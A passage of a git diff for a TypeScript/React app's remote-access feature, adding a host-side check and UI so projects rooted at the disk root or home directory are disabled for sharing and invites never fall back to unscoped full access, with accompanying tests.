(shareOptions[0]?.id ?? '')- const sharedName = shareOptions.find((o) => o.id === effectiveShareId)?.name ?? ''+ // A project whose folder is the disk root or the home directory (or contains it) is offered+ // disabled with the host's reason, and never falls back to an unscoped invite (useHostShareChoice).+ const {+ options: shareOptions,+ shareId: effectiveShareId,+ setShareId,+ sharedName,+ refusal: shareRefusal+ } = useHostShareChoice(projects, activeProjectId)// Only the topmost modal answers a key (./dialog-stack) — the host approval ConfirmDialog opens// on top of THIS dialog, and its Escape must not also close the one underneath.@@ -135,8 +139,8 @@ export function RemoteAccessDialog({ onClose }: { onClose: () => void }): React.onChange={(e) => setShareId(e.target.value)}>{shareOptions.map((o) => (- <option key={o.id} value={o.id}>- {o.name}+ <option key={o.id} value={o.id} disabled={!!o.refusal}>+ {o.refusal ? `${o.name} (cannot be shared)` : o.name}</option>))}</Select>@@ -150,7 +154,8 @@ export function RemoteAccessDialog({ onClose }: { onClose: () => void }): React.) : null}{relayShareGrantCopy(sharedName || null, thisMachine())}</p>- <Button disabled={hostBusy} onClick={() => void startHosting()}>+ {shareRefusal ? <p className="remote-dialog__err">{shareRefusal}</p> : null}+ <Button disabled={hostBusy || !!shareRefusal} onClick={() => void startHosting()}>{hostBusy ? 'Starting…' : 'Allow remote access'}</Button></div>diff --git a/src/renderer/components/settings/sections/RemoteSection.tsx b/src/renderer/components/settings/sections/RemoteSection.tsxindex 7fcbff1cc..21f7ed344 100644--- a/src/renderer/components/settings/sections/RemoteSection.tsx+++ b/src/renderer/components/settings/sections/RemoteSection.tsx@@ -1,7 +1,8 @@import { useState } from 'react'import { useEntitlement } from '../../../state/entitlement'import { useProjects } from '../../../state/projects'-import { hostShareOptions, relayShareGrantCopy } from '../../../lib/relayHostShare'+import { relayShareGrantCopy } from '../../../lib/relayHostShare'+import { useHostShareChoice } from '../../../lib/useHostShareChoice'import { thisMachine } from '../../../lib/machineName'import { SettingsSection } from '../SettingsSection'import { SearchableRow } from '../SearchableRow'@@ -38,12 +39,15 @@ export function RemoteSection({// Which project this host shares with the joiner. Default = the active project (hoisted first// by hostShareOptions); the user can pick any other OPEN project before minting the offer.- const shareOptions = hostShareOptions(projects, activeProjectId)- const [shareId, setShareId] = useState('')- const effectiveShareId = shareOptions.some((o) => o.id === shareId)- ? shareId- : (shareOptions[0]?.id ?? '')- const sharedName = shareOptions.find((o) => o.id === effectiveShareId)?.name ?? ''+ // A project whose folder is the disk root or the home directory (or contains it) is offered+ // disabled with the host's reason, and never falls back to an unscoped invite (useHostShareChoice).+ const {+ options: shareOptions,+ shareId: effectiveShareId,+ setShareId,+ sharedName,+ refusal: shareRefusal+ } = useHostShareChoice(projects, activeProjectId)// HOST side — the NEW relay tunnel (`relayHost`). `start()` returns the single-use pairing offer;// a connecting peer's approval + canvas sync are handled globally by Canvas (`relayHost.onPeerPending`// / `relayHost.confirm`, and the CorePlatform seq-stamped reflector — no old canvas-mirror flag).@@ -129,8 +133,8 @@ export function RemoteSection({onChange={(e) => setShareId(e.target.value)}>{shareOptions.map((o) => (- <option key={o.id} value={o.id}>- {o.name}+ <option key={o.id} value={o.id} disabled={!!o.refusal}>+ {o.refusal ? `${o.name} (cannot be shared)` : o.name}</option>))}</Select>@@ -145,7 +149,8 @@ export function RemoteSection({) : null}{relayShareGrantCopy(sharedName || null, thisMachine())}</p>- <Button disabled={hostBusy} onClick={() => void startHosting()}>+ {shareRefusal ? <p className="text-sm text-danger">{shareRefusal}</p> : null}+ <Button disabled={hostBusy || !!shareRefusal} onClick={() => void startHosting()}>{hostBusy ? 'Starting…' : 'Allow remote access'}</Button></div>diff --git a/src/renderer/lib/relayHostShare.test.ts b/src/renderer/lib/relayHostShare.test.tsindex aab3299ad..966742504 100644--- a/src/renderer/lib/relayHostShare.test.ts+++ b/src/renderer/lib/relayHostShare.test.ts@@ -1,6 +1,6 @@import { describe, it, expect } from 'vitest'import type { Project } from '@shared/types'-import { hostShareOptions } from './relayHostShare'+import { effectiveShareId, hostShareOptions } from './relayHostShare'const proj = (id: string, name: string, extra: Partial<Project> = {}): Project =>({ id, name, nodes: [], ...extra }) as Project@@ -57,3 +57,25 @@ describe('relayShareGrantCopy', () => {expect(relayShareGrantCopy('', 'this PC')).toContain('full access')})})++// Security audit F4: the host refuses to share a project whose folder is the disk root or the home+// directory (or contains it). The chooser shows it disabled with the reason, and never falls back to+// an UNSCOPED invite (full access) because every option was refused.+describe('refused projects in the share chooser', () => {+ const HOME = "This project's folder is your home directory."+ it('carries the host\'s reason on the refused option', () => {+ const opts = hostShareOptions([proj('a', 'A'), proj('h', 'Home')], 'h', { h: HOME })+ expect(opts).toEqual([{ id: 'h', name: 'Home', refusal: HOME }, { id: 'a', name: 'A' }])+ })+ it('defaults to the first project that may be shared, and keeps an explicit pick', () => {+ const opts = hostShareOptions([proj('a', 'A'), proj('h', 'Home')], 'h', { h: HOME })+ expect(effectiveShareId(opts, '')).toBe('a')+ expect(effectiveShareId(opts, 'h')).toBe('h')+ expect(effectiveShareId(opts, 'gone')).toBe('a')+ })+ it('with every project refused, still names one (whose reason blocks the invite) — never the unscoped \'\'', () => {+ const opts = hostShareOptions([proj('h', 'Home')], 'h', { h: HOME })+ expect(effectiveShareId(opts, '')).toBe('h')+ expect(effectiveShareId([], '')).toBe('')+ })+})diff --git a/src/renderer/lib/relayHostShare.ts b/src/renderer/lib/relayHostShare.tsindex eca958296..43cbff519 100644--- a/src/renderer/lib/relayHostShare.ts+++ b/src/renderer/lib/relayHostShare.ts@@ -4,21 +4,43 @@ import type { Project } from '@shared/types'export interface HostShareOption {id: stringname: string+ /** Why this project may NOT be shared (the host's answer, `relayHost.scopeProblems`): its folder is+ * the disk root, the home directory or an ancestor of either, so every file under it — `~/.ssh`+ * included — would be readable. The chooser shows it disabled, with this sentence. */+ refusal?: string}/*** The list of projects a relay host may share, as `{id, name}[]`. Only OPEN (non-`closed`)* projects are shareable — a closed project isn't in the tab bar and has nothing to show a* joiner. The `activeProjectId` (when itself open) is hoisted to the front so it can be the- * default selection. Pure; empty input yields an empty list.+ * default selection. `refusals` (project id → reason, from the host) marks the ones that may not be+ * shared. Pure; empty input yields an empty list.*/-export function hostShareOptions(projects: Project[], activeProjectId: string): HostShareOption[] {- const open = projects.filter((p) => !p.closed).map((p) => ({ id: p.id, name: p.name }))+export function hostShareOptions(+ projects: Project[],+ activeProjectId: string,+ refusals: Readonly<Record<string, string>> = {}+): HostShareOption[] {+ const open = projects+ .filter((p) => !p.closed)+ .map((p) => (Object.hasOwn(refusals, p.id) ? { id: p.id, name: p.name, refusal: refusals[p.id] } : { id: p.id, name: p.name }))const activeIdx = open.findIndex((p) => p.id === activeProjectId)if (activeIdx <= 0) return openreturn [open[activeIdx], ...open.slice(0, activeIdx), ...open.slice(activeIdx + 1)]}+/**+ * The project an invite shares: the user's pick when it is still an option, else the first option+ * that may be shared, else the first option at all. NEVER '' while there are options: '' means an+ * UNSCOPED invite (full access to this machine), so a list whose every project is refused must keep a+ * (refused) selection whose reason blocks the invite, rather than fall back to granting everything.+ */+export function effectiveShareId(options: HostShareOption[], picked: string): string {+ if (options.some((o) => o.id === picked)) return picked+ return (options.find((o) => !o.refusal) ?? options[0])?.id ?? ''+}+/*** What a relay invite actually grants, in words — ONE sentence for both host surfaces (Settings →* Remote access and the Remote access dialog), so the two cannot drift apart.diff --git a/src/renderer/lib/useHostShareChoice.ts b/src/renderer/lib/useHostShareChoice.tsnew file mode 100644index 000000000..433035409--- /dev/null+++ b/src/renderer/lib/useHostShareChoice.ts@@ -0,0 +1,49 @@+import { useEffect, useMemo, useState } from 'react'+import type { Project } from '@shared/types'+import { effectiveShareId, hostShareOptions, type HostShareOption } from './relayHostShare'++/**+ * The host's "Project to share" choice, for both invite surfaces (Settings → Remote access and the+ * Remote access dialog): the open projects, which of them the host refuses to share and why+ * (`relayHost.scopeProblems` — the folder is the disk root, the home directory or an ancestor of+ * either), and the selected one. The host refuses those invites itself as well; this is so the+ * person sees the reason before pressing the button, not after.+ */+export function useHostShareChoice(+ projects: Project[],+ activeProjectId: string+): {+ options: HostShareOption[]+ shareId: string+ setShareId: (id: string) => void+ sharedName: string+ /** Why the selected project cannot be shared, or null. The invite button is disabled while set. */+ refusal: string | null+} {+ const [refusals, setRefusals] = useState<Record<string, string>>({})+ const [picked, setShareId] = useState('')+ const openIds = projects+ .filter((p) => !p.closed)+ .map((p) => p.id)+ .join('\n')+ useEffect(() => {+ let live = true+ const ids = openIds ? openIds.split('\n') : []+ void window.nodeTerminal.relayHost+ .scopeProblems(ids)+ .then((r) => {+ if (live) setRefusals(r && typeof r === 'object' ? r : {})+ })+ .catch(() => {+ // The host still refuses at invite time; without an answer nothing is pre-disabled.+ if (live) setRefusals({})+ })+ return () => {+ live = false+ }+ }, [openIds])+ const options = useMemo(() => hostShareOptions(projects, activeProjectId, refusals), [projects, activeProjectId, refusals])+ const shareId = effectiveShareId(options, picked)+ const selected = options.find((o) => o.id === shareId)+ return { options, shareId, setShareId, sharedName: selected?.name ?? '', refusal: selected?.refusal ?? null }+}diff --git a/src/server/index.ts b/src/server/index.tsindex 8a2498c26..11c7af088 100644--- a/src/server/index.ts+++ b/src/server/index.ts@@ -92,7 +92,8 @@ import {setNodeHibernated,seedNodeIdentities,sessionNameSweepEntries,- nodeSessionName+ nodeSessionName,+ nodesForAgentSession} from '../core/agent-status-mirror'import { mirrorCustomAgents } from '../core/mirror-custom-agents'import { createPushNotify, createLiveUpdatePush } from '../core/push-notify'@@ -1022,6 +1023,9 @@ export async function startServer(// stop a stream the viewer already joined). One map lookup.nodeOfSession: (sessionId) => ptyManager.nodeOfSession(sessionId),projectCwd: (projectId) => workspaceStore.localCwdForProject(projectId),+ // A `context:update` names an agent session, not a node: the mirror attributes it, so a+ // non-editor receives a meter only for a session of a shared project.+ nodesOfAgentSession: (sessionId) => nodesForAgentSession(sessionId),// A share or unshare: the authority adopts what joined and writes + releases what left, then every// client hears the new governed set (a client alone on a newly shared canvas must start publishing).// RESIDUAL, the share-time window (docs/hosted-team-relay.md): an edit a client made just beforediff --git a/src/shared/ipc.ts b/src/shared/ipc.tsindex ac5c88233..136a643fd 100644--- a/src/shared/ipc.ts+++ b/src/shared/ipc.ts@@ -750,6 +750,9 @@ export const IPC = {relayHostInvite: 'relay:host:invite',relayHostRevoke: 'relay:host:revoke',relayHostStop: 'relay:host:stop',+ // Which projects may not be the scope of an invite, and why (core/relay/share-root.ts): invoke,+ // `projectIds: string[]` → `{ [projectId]: reason }`. The invite UI disables those options.+ relayHostScopeProblems: 'relay:host:scope-problems',relayHostPeerPending: 'relay:host:peer-pending',relayHostConfirm: 'relay:host:confirm',relayHostOpen: 'relay:host:open',diff --git a/src/shared/types.ts b/src/shared/types.tsindex 78edece5a..7f593e7e1 100644--- a/src/shared/types.ts+++ b/src/shared/types.ts@@ -4208,6 +4208,13 @@ export interface RelayHostApi {invite(opts?: { projectId?: string; email?: string }): Promise<{ offer: string; id: string }>/** Leave host mode: close every bridged peer in the pool. */stop(): Promise<void>+ /**+ * Which of these projects may NOT be shared, with the reason (a folder that is the disk root, the+ * home directory or an ancestor of either — every file under it would be readable). The invite+ * UI disables those projects; `start`/`invite` refuse them host-side too. Projects absent from the+ * answer may be shared.+ */+ scopeProblems(projectIds: string[]): Promise<Record<string, string>>/*** Team Access: per-peer revoke — cut ONE bridged peer's live session immediately (by its id) and* free its seat. Distinct from `stop()` (which drops all).